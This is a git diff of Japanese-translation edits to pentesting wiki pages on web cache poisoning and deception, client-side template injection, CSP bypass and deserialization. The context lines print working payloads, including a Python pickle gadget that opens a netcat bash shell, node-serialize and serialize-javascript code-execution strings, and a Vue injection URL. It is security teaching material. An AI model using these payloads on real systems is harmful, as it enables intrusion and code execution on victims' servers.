+Cloudflareは以前、403レスポンスをキャッシュしていました。誤ったAuthorizationヘッダーでS3またはAzure Storage Blobsにアクセスしようとすると、403レスポンスがキャッシュされました。Cloudflareは403レスポンスのキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。 ### キー付きパラメータの注入 -キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン(例:`siz%65`)が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドによって利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。 +キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン(例:`siz%65`)が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドによって利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。 ### ユーザーエージェントルール -一部の開発者は、サーバーの負荷を管理するために、FFUFやNucleiのような高トラフィックツールのユーザーエージェントに一致するリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。 +一部の開発者は、FFUFやNucleiのような高トラフィックツールのユーザーエージェントに一致するリクエストをブロックしてサーバーの負荷を管理します。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。 ### 不正なヘッダーフィールド -[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名に許可される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーは常にこの標準に従うわけではありません。特に注目すべき例は、Akamaiが無効な文字を含むヘッダーを転送し、`cache-control`ヘッダーが存在しない限り、400エラーをキャッシュすることです。不正な文字(例:`\`)を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。 +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名に許可される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーは常にこの標準に従うわけではありません。特に注目すべき例は、Akamaiが無効な文字を含むヘッダーを転送し、`cache-control`ヘッダーが存在しない限り、400エラーをキャッシュすることです。不正な文字(例:`\`)を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。 ### 新しいヘッダーの発見 @@ -192,9 +192,9 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。 ## キャッシュデセプション -キャッシュデセプションの目的は、クライアントに**キャッシュによって保存されるリソースをその機密情報で読み込ませる**ことです。 +キャッシュデセプションの目的は、クライアントに**キャッシュによって保存されるリソースをその機密情報と共に読み込ませる**ことです。 -まず、**拡張子**(例:`.css`、`.js`、`.png`など)が通常**キャッシュに保存される**ように**設定されている**ことに注意してください。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらく`.js`**拡張子**を見てレスポンスを保存します。しかし、**アプリケーション**が_swww.example.com/profile.php_に保存された**機密**ユーザーコンテンツで**再生**している場合、他のユーザーからそのコンテンツを**盗む**ことができます。 +まず、**拡張子**(例:`.css`、`.js`、`.png`など)が通常**キャッシュに保存される**ように**設定されている**ことに注意してください。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらくレスポンスを保存します。なぜなら、`.js`の**拡張子**を見ているからです。しかし、**アプリケーション**が_ www.example.com/profile.php_に保存された**機密**ユーザーコンテンツで**再生**している場合、他のユーザーからそのコンテンツを**盗む**ことができます。 他にテストすること: @@ -203,15 +203,15 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。 - _www.example.com/profile.php/test.js_ - _www.example.com/profile.php/../test.js_ - _www.example.com/profile.php/%2e%2e/test.js_ -- _あまり知られていない拡張子(例:`.avif`)を使用する_ +- _あまり知られていない拡張子を使用する(例:`.avif`)_ -非常に明確な別の例は、この書き込みに見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\ -この例では、存在しないページ(例:_http://www.example.com/home.php/non-existent.css_)を読み込むと、_http://www.example.com/home.php_(**ユーザーの機密情報を含む**)の内容が返され、キャッシュサーバーが結果を保存することが説明されています。\ +非常に明確な例は、この書き込みに見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\ +この例では、_http://www.example.com/home.php/non-existent.css_のような存在しないページを読み込むと、_http://www.example.com/home.php_(**ユーザーの機密情報を含む**)の内容が返され、キャッシュサーバーが結果を保存することが説明されています。\ その後、**攻撃者**は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察できます。 -**キャッシュプロキシ**は、ファイルの**拡張子**(_.css_)に基づいてファイルを**キャッシュ**するように**設定**されるべきであり、コンテンツタイプに基づいてはなりません。例として、_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。 +**キャッシュプロキシ**は、ファイルの**拡張子**(_.css_)に基づいてファイルを**キャッシュ**するように**設定**されるべきであり、コンテンツタイプに基づいてはなりません。例として_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。 -[Cache Deceptions攻撃をHTTPリクエストスムーグリングを悪用して実行する方法](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)についてここで学びます。 +[Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)の実行方法について学びましょう。 ## 自動ツール diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index 83cbc6f94..e6c051892 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -31,7 +31,7 @@ AngularJSは、ディレクティブとして知られる属性を通じてHTML 動作するペイロード: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`]() 脆弱な例の**ソースコード**はこちら: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example) -```markup +```html ">
aaa
``` diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 2fc9d6a67..6bc415102 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -6,7 +6,7 @@ コンテンツセキュリティポリシー (CSP) は、主に**クロスサイトスクリプティング (XSS) などの攻撃からの保護**を目的としたブラウザ技術として認識されています。これは、ブラウザがリソースを安全に読み込むことができるパスとソースを定義し、詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどのさまざまな要素が含まれます。たとえば、ポリシーは、同じドメイン (self) からのリソースの読み込みと実行を許可することがあり、インラインリソースや `eval`、`setTimeout`、`setInterval` などの関数を通じて文字列コードの実行を含みます。 -CSPの実装は、**レスポンスヘッダー**を通じて行われるか、**HTMLページにメタ要素を組み込むことによって行われます**。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を直ちにブロックします。 +CSPの実装は、**レスポンスヘッダー**を介して行われるか、**HTMLページにメタ要素を組み込むことによって行われます**。このポリシーに従い、ブラウザはこれらの規定を積極的に施行し、検出された違反を直ちにブロックします。 - レスポンスヘッダーを介して実装される: ``` @@ -52,10 +52,10 @@ object-src 'none'; - **object-src**: ``、``、および``要素のために許可されたソースを定義します。 - **base-uri**: ``要素を使用して読み込むための許可されたURLを指定します。 - **form-action**: フォーム送信のための有効なエンドポイントをリストします。 -- **plugin-types**: ページが呼び出すことができるMIMEタイプを制限します。 +- **plugin-types**: ページが呼び出すことができるmimeタイプを制限します。 - **upgrade-insecure-requests**: ブラウザにHTTP URLをHTTPSに書き換えるよう指示します。 - **sandbox**: ` // The bot will load an URL with the payload @@ -544,7 +544,7 @@ run() この攻撃は、攻撃者が**ユーザーにブラウザのブックマークレットの上にリンクをドラッグアンドドロップさせることを納得させる**というソーシャルエンジニアリングを含みます。このブックマークレットには、**悪意のあるjavascript**コードが含まれており、ドラッグアンドドロップまたはクリックされると、現在のウェブウィンドウのコンテキストで実行され、**CSPをバイパスして、クッキーやトークンなどの機密情報を盗むことを可能にします**。 -詳細については、[**こちらの元のレポートを確認してください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。 +詳細については、[**こちらで元のレポートを確認してください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。 ### CSP bypass by restricting CSP @@ -568,22 +568,22 @@ content="script-src 'self' ``` ### JS exfiltration with Content-Security-Policy-Report-Only -サーバーが**`Content-Security-Policy-Report-Only`**ヘッダーを**あなたが制御する値**で応答するように管理できれば(おそらくCRLFのため)、あなたのサーバーを指すように設定でき、**``内に**埋め込む**ことができます。この**スクリプト**は、**'self'によって許可されているため**、**読み込まれます**。さらに、WordPressがインストールされているため、攻撃者は**CSPをバイパスする**脆弱な**コールバック**エンドポイントを通じて**SOME攻撃を悪用**し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりすることができます。\ -この攻撃を実行する方法についての詳細は、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。 +攻撃者は、そのエンドポイントを悪用して、WordPressに対して**SOME攻撃を生成**し、``内に**埋め込む**ことができます。この**スクリプト**は、**'self'によって許可されているため、**ロードされます。さらに、WordPressがインストールされているため、攻撃者は**CSPをバイパスする**脆弱な**コールバック**エンドポイントを通じて**SOME攻撃を悪用**し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりすることができます...\ +この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。 ## CSP Exfiltration Bypasses -厳格なCSPがあり、**外部サーバーと対話することを許可しない**場合、情報を抽出するために常にできることがいくつかあります。 +厳格なCSPがあり、**外部サーバーとやり取りすることを許可しない**場合、情報を抽出するために常にできることがいくつかあります。 ### Location diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 2d562c812..9880ca68c 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -8,7 +8,7 @@ **デシリアライズ**は、逆にシリアライズに対抗するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築することを含みます。 -デシリアライズは危険である可能性があります。なぜなら、**攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こすことを許す可能性があるからです。** +デシリアライズは危険である可能性があります。なぜなら、**攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こさせたりすることを許す可能性があるからです。** ## PHP @@ -16,9 +16,9 @@ PHPでは、シリアライズおよびデシリアライズプロセス中に - `__sleep`: オブジェクトがシリアライズされるときに呼び出されます。このメソッドは、シリアライズされるべきオブジェクトのすべてのプロパティの名前の配列を返す必要があります。保留中のデータをコミットしたり、同様のクリーンアップタスクを実行するために一般的に使用されます。 - `__wakeup`: オブジェクトがデシリアライズされるときに呼び出されます。シリアライズ中に失われた可能性のあるデータベース接続を再確立し、他の再初期化タスクを実行するために使用されます。 -- `__unserialize`: このメソッドは、オブジェクトがデシリアライズされるときに`__wakeup`の代わりに呼び出されます。`__wakeup`に比べてデシリアライズプロセスに対する制御が強化されます。 -- `__destruct`: このメソッドは、オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されます。通常、ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに使用されます。 -- `__toString`: このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取ったり、その中の関数呼び出しに基づいて他のタスクを実行するために使用でき、オブジェクトのテキスト表現を効果的に提供します。 +- `__unserialize`: オブジェクトがデシリアライズされるときに、`__wakeup`の代わりに呼び出されるメソッドです。`__wakeup`に比べてデシリアライズプロセスに対するより多くの制御を提供します。 +- `__destruct`: オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されるメソッドです。ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに一般的に使用されます。 +- `__toString`: このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取るためや、その中の関数呼び出しに基づく他のタスクに使用でき、オブジェクトのテキスト表現を効果的に提供します。 ```php */ ?> ``` -結果を見ると、オブジェクトがデシリアライズされるときに関数 **`__wakeup`** と **`__destruct`** が呼び出されることがわかります。いくつかのチュートリアルでは、属性を印刷しようとするときに **`__toString`** 関数が呼び出されるとされていますが、どうやらそれは **もう起こっていない** ようです。 +結果を見ると、オブジェクトがデシリアライズされるときに関数 **`__wakeup`** と **`__destruct`** が呼び出されることがわかります。いくつかのチュートリアルでは、属性を印刷しようとすると **`__toString`** 関数が呼び出されるとされていますが、どうやらそれは **もう起こっていない** ようです。 > [!WARNING] -> メソッド **`__unserialize(array $data)`** は、クラスに実装されている場合、**`__wakeup()`** の代わりに呼び出されます。これは、シリアライズされたデータを配列として提供することでオブジェクトをデシリアライズすることを可能にします。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行できます。 +> クラスに実装されている場合、メソッド **`__unserialize(array $data)`** が **`__wakeup()`** の代わりに呼び出されます。これにより、シリアライズされたデータを配列として提供することでオブジェクトをデシリアライズできます。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行できます。 > > ```php > class MyClass { @@ -90,11 +90,11 @@ This is a test
> } > ``` -説明された **PHPの例をここで読むことができます**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)、ここ [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) またはここ [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) +説明された **PHPの例をこちらで読むことができます**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)、こちら [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) またはこちら [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) ### PHP Deserial + Autoload Classes -PHPのオートロード機能を悪用して、任意のPHPファイルを読み込むことができます。 +PHPのオートロード機能を悪用して、任意のPHPファイルを読み込むことができます: {{#ref}} php-deserialization-+-autoload-classes.md @@ -119,11 +119,11 @@ $ser=serialize($o); [**PHPGGC**](https://github.com/ambionics/phpggc) は、PHP のデシリアライズを悪用するためのペイロードを生成するのに役立ちます。\ アプリケーションのソースコード内でデシリアライズを悪用する方法を見つけられない場合もありますが、**外部 PHP 拡張のコードを悪用できるかもしれません。**\ -ですので、可能であれば、サーバーの `phpinfo()` を確認し、**インターネットで検索**(さらには **PHPGGC** の **gadgets** も)して、悪用できる可能性のあるガジェットを探してください。 +ですので、可能であればサーバーの `phpinfo()` を確認し、**インターネットで検索**(さらには **PHPGGC** の **gadgets** も)して、悪用できる可能性のあるガジェットを探してください。 ### phar:// メタデータデシリアライズ -ファイルを読み取るだけで、内部の PHP コードを実行しない LFI を見つけた場合、例えば _**file_get_contents(), fopen(), file() または file_exists(), md5_file(), filemtime() または filesize()**_** のような関数を使用している場合、**phar** プロトコルを使用して **ファイル** を **読み取る** ときに発生する **デシリアライズ** を悪用しようとすることができます。\ +ファイルを読み取るだけで、内部の PHP コードを実行しない LFI を見つけた場合、例えば _**file_get_contents(), fopen(), file() または file_exists(), md5_file(), filemtime() または filesize()**_** のような関数を使用している場合、**phar** プロトコルを使用してファイルを読み取る際に発生する **デシリアライズ** を悪用しようとすることができます。\ 詳細については、以下の投稿をお読みください: {{#ref}} @@ -143,9 +143,9 @@ def __reduce__(self): return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) print(base64.b64encode(pickle.dumps(P()))) ``` -`print(base64.b64encode(pickle.dumps(P(),2)))`を使用して、python3を実行している場合にpython2と互換性のあるオブジェクトを生成する前に、バイパステクニックを確認してください。 +以下のバイパステクニックを確認する前に、`print(base64.b64encode(pickle.dumps(P(),2)))`を使用して、Python3を実行している場合にPython2と互換性のあるオブジェクトを生成してください。 -**pickle jail**からの脱出に関する詳細情報は、以下を確認してください: +**pickle jails**からの脱出に関する詳細情報は、以下を確認してください: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ @@ -153,7 +153,7 @@ print(base64.b64encode(pickle.dumps(P()))) ### Yaml **&** jsonpickle -以下のページでは、**yamlの安全でないデシリアライズを悪用する技術**を紹介し、**Pickle, PyYAML, jsonpickle, ruamel.yaml**のためのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくっています: +以下のページでは、**yaml**のPythonライブラリにおける**安全でないデシリアライズの悪用**に関する技術を紹介し、**Pickle、PyYAML、jsonpickle、ruamel.yaml**のためのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくります: {{#ref}} python-yaml-deserialization.md @@ -198,7 +198,7 @@ test_then() ``` ### `__proto__` と `prototype` の汚染 -この技術について学びたい場合は、**次のチュートリアルを見てください**: +この技術について学びたい場合は、**次のチュートリアルを参照してください**: {{#ref}} nodejs-proto-prototype-pollution/ @@ -223,19 +223,19 @@ console.log("Serialized: \n" + payload_serialized) ```bash {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} ``` -関数がシリアライズされると、シリアライズされたオブジェクトに `_$$ND_FUNC$$_` フラグが追加されることが例からわかります。 +関数がシリアライズされると、シリアライズされたオブジェクトに `_$$ND_FUNC$$_` フラグが追加されることが例で示されています。 -ファイル `node-serialize/lib/serialize.js` 内には、同じフラグとそのコードの使用方法が見つかります。 +ファイル `node-serialize/lib/serialize.js` 内で、同じフラグとそのコードの使用方法を見つけることができます。 ![](<../../images/image (351).png>) ![](<../../images/image (446).png>) -最後のコードのチャンクでわかるように、**フラグが見つかった場合**、`eval` が使用されて関数がデシリアライズされるため、基本的に **ユーザー入力が `eval` 関数内で使用されている**ことになります。 +最後のコードのチャンクで見られるように、**フラグが見つかった場合**、`eval` が関数をデシリアライズするために使用されるので、基本的に **ユーザー入力が `eval` 関数内で使用されています**。 -しかし、**関数をシリアライズするだけでは**それを**実行することはありません**。なぜなら、コードの一部が**`y.rce`を呼び出す必要がある**からで、これは非常に**ありそうにありません**。\ +しかし、**関数をシリアライズするだけでは**、それを**実行することはありません**。なぜなら、コードの一部が**`y.rce`を呼び出す必要がある**からで、これは非常に**ありそうにありません**。\ それでも、シリアライズされたオブジェクトを**修正して**、**いくつかの括弧を追加する**ことで、オブジェクトがデシリアライズされるときにシリアライズされた関数を自動的に実行させることができます。\ -次のコードのチャンクでは、**最後の括弧**と、`unserialize` 関数がどのように自動的にコードを実行するかに注意してください: +次のコードのチャンクで、**最後の括弧**と、`unserialize` 関数がどのように自動的にコードを実行するかに注意してください: ```javascript var serialize = require("node-serialize") var test = { @@ -243,18 +243,18 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er } serialize.unserialize(test) ``` -以前に示したように、このライブラリは`_$$ND_FUNC$$_`の後のコードを取得し、**実行します** `eval`を使用して。したがって、**コードを自動実行する**には、**関数の作成**部分と最後の括弧を**削除し**、次の例のように**JSのワンライナーを実行する**ことができます: +以前に示したように、このライブラリは`_$$ND_FUNC$$_`の後のコードを取得し、**実行します**。したがって、**コードを自動実行する**ためには、**関数作成**部分と最後の括弧を**削除し**、次の例のように**JSのワンライナーを実行する**ことができます: ```javascript var serialize = require("node-serialize") var test = "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}" serialize.unserialize(test) ``` -ここで[**詳細を見つけることができます**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **この脆弱性を悪用する方法について**。 +ここで[**詳細情報**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)を見つけることができます。この脆弱性を悪用する方法について。 ### [funcster](https://www.npmjs.com/package/funcster) -**funcster**の注目すべき点は、**標準の組み込みオブジェクト**へのアクセス不可であることです。これらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、`console.log()`や`require(something)`のようなコマンドを使用すると、`"ReferenceError: console is not defined"`のような例外が発生します。 +**funcster**の注目すべき点は、**標準の組み込みオブジェクト**へのアクセスが不可能であることです。これらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、`console.log()`や`require(something)`のようなコマンドを使用すると、`"ReferenceError: console is not defined"`のような例外が発生します。 この制限にもかかわらず、特定のアプローチを通じて、すべての標準の組み込みオブジェクトを含むグローバルコンテキストへの完全なアクセスを復元することが可能です。グローバルコンテキストを直接利用することで、この制限を回避できます。たとえば、次のスニペットを使用してアクセスを再確立できます: ```javascript @@ -288,7 +288,7 @@ function deserialize(serializedJavascript) { return eval("(" + serializedJavascript + ")") } ``` -この関数がオブジェクトをデシリアライズするために使用される場合、**簡単に悪用できます**: +この関数がオブジェクトをデシリアライズするために使用される場合、あなたは**簡単にそれを悪用できます**: ```javascript var serialize = require("serialize-javascript") //Serialization @@ -302,24 +302,24 @@ var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" deserialize(test) ``` -**詳細についてはこのソースを読んでください**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** +**詳細についてはこのソースを参照してください**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** ### Cryoライブラリ -次のページでは、このライブラリを悪用して任意のコマンドを実行する方法に関する情報を見つけることができます: +以下のページでは、このライブラリを悪用して任意のコマンドを実行する方法に関する情報を見つけることができます: - [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) - [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) ## Java - HTTP -Javaでは、**デシリアライズコールバックはデシリアライズプロセス中に実行されます**。この実行は、これらのコールバックをトリガーする悪意のあるペイロードを作成する攻撃者によって悪用される可能性があり、有害なアクションの実行につながる可能性があります。 +Javaでは、**デシリアライズコールバックはデシリアライズプロセス中に実行されます**。この実行は、これらのコールバックをトリガーする悪意のあるペイロードを作成する攻撃者によって悪用される可能性があり、有害なアクションの実行につながることがあります。 ### フィンガープリント #### ホワイトボックス -コードベース内の潜在的なシリアル化の脆弱性を特定するには、次のものを探します: +コードベース内の潜在的なシリアライズ脆弱性を特定するには、次のものを検索してください: - `Serializable`インターフェースを実装しているクラス。 - `java.io.ObjectInputStream`、`readObject`、`readUnshare`関数の使用。 @@ -327,15 +327,15 @@ Javaでは、**デシリアライズコールバックはデシリアライズ 特に注意を払うべき点: - 外部ユーザーによって定義されたパラメータで使用される`XMLDecoder`。 -- `XStream`の`fromXML`メソッド、特にXStreamのバージョンが1.46以下の場合、シリアル化の問題に対して脆弱です。 -- `ObjectInputStream`と`readObject`メソッドの組み合わせ。 +- `XStream`の`fromXML`メソッド、特にXStreamのバージョンが1.46以下の場合、シリアライズの問題に対して脆弱です。 +- `readObject`メソッドと組み合わされた`ObjectInputStream`。 - `readObject`、`readObjectNodData`、`readResolve`、または`readExternal`などのメソッドの実装。 - `ObjectInputStream.readUnshared`。 - `Serializable`の一般的な使用。 #### ブラックボックス -ブラックボックステストでは、javaシリアライズオブジェクトを示す特定の**シグネチャまたは「マジックバイト」**を探します(`ObjectInputStream`から発生): +ブラックボックステストでは、javaシリアライズオブジェクトを示す特定の**シグネチャまたは「マジックバイト」**を探してください(`ObjectInputStream`から発生): - 16進パターン:`AC ED 00 05`。 - Base64パターン:`rO0`。 @@ -357,35 +357,35 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA find . -iname "*commons*collection*" grep -R InvokeTransformer . ``` -あなたは、**脆弱性が知られているすべてのライブラリを確認し**、[**Ysoserial**](https://github.com/frohoff/ysoserial)がエクスプロイトを提供できるかどうかを試すことができます。または、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)に示されているライブラリを確認することもできます。\ +あなたは、**脆弱性が知られているすべてのライブラリを確認し**、[**Ysoserial**](https://github.com/frohoff/ysoserial)が提供できるエクスプロイトを探すことができます。または、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)に示されているライブラリを確認することもできます。\ さらに、[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)を使用して、エクスプロイト可能なガジェットチェーンを検索することもできます。\ -**gadgetinspector**を実行する際(ビルド後)、発生する多数の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。**gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください**。 +**gadgetinspector**を実行する際(ビルド後)は、発生する多数の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。**gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください**。 #### ブラックボックステスト -Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**どのライブラリが利用可能か**(バージョンも含む)を特定できます。この情報をもとに、脆弱性をエクスプロイトするための**ペイロードを選択しやすくなる**かもしれません。\ +Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**どのライブラリが利用可能か**(バージョンも含む)を特定できます。この情報をもとに、脆弱性をエクスプロイトするための**ペイロードを選択しやすくなる**でしょう。\ [**GadgetProbeについて詳しく学ぶにはこちらをお読みください**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\ -GadgetProbeは**`ObjectInputStream`デシリアライズ**に焦点を当てています。 +GadgetProbeは**`ObjectInputStream`のデシリアライズ**に焦点を当てています。 -Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、**ysoserialでエクスプロイト可能な脆弱なライブラリを特定**し、それらを**エクスプロイト**できます。\ +Burp拡張機能[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)を使用すると、**ysoserialでエクスプロイト可能な脆弱なライブラリを特定し**、それらを**エクスプロイト**できます。\ [**Java Deserialization Scannerについて詳しく学ぶにはこちらをお読みください。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ -Java Deserialization Scannerは**`ObjectInputStream`**デシリアライズに焦点を当てています。 +Java Deserialization Scannerは**`ObjectInputStream`**のデシリアライズに焦点を当てています。 -[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内の**デシリアライズ**脆弱性を**検出**することもできます。このプラグインは、**`ObjectInputStream`**関連の脆弱性だけでなく、**Json**および**Yml**デシリアライズライブラリの脆弱性も検出します。アクティブモードでは、スリープまたはDNSペイロードを使用して確認を試みます。\ +[**Freddy**](https://github.com/nccgroup/freddy)を使用して、**Burp**内のデシリアライズ脆弱性を**検出**することもできます。このプラグインは、**`ObjectInputStream`**に関連する脆弱性だけでなく、**Json**や**Yml**デシリアライズライブラリからの脆弱性も検出します。アクティブモードでは、スリープやDNSペイロードを使用して確認を試みます。\ [**Freddyについての詳細情報はこちらで確認できます。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) **シリアライズテスト** -サーバーが使用している脆弱なライブラリを確認するだけではありません。時には、**シリアライズされたオブジェクト内のデータを変更して、いくつかのチェックをバイパスすることができるかもしれません**(ウェブアプリ内で管理者権限を付与するかもしれません)。\ -ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷することができます**。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスするのが容易になります。 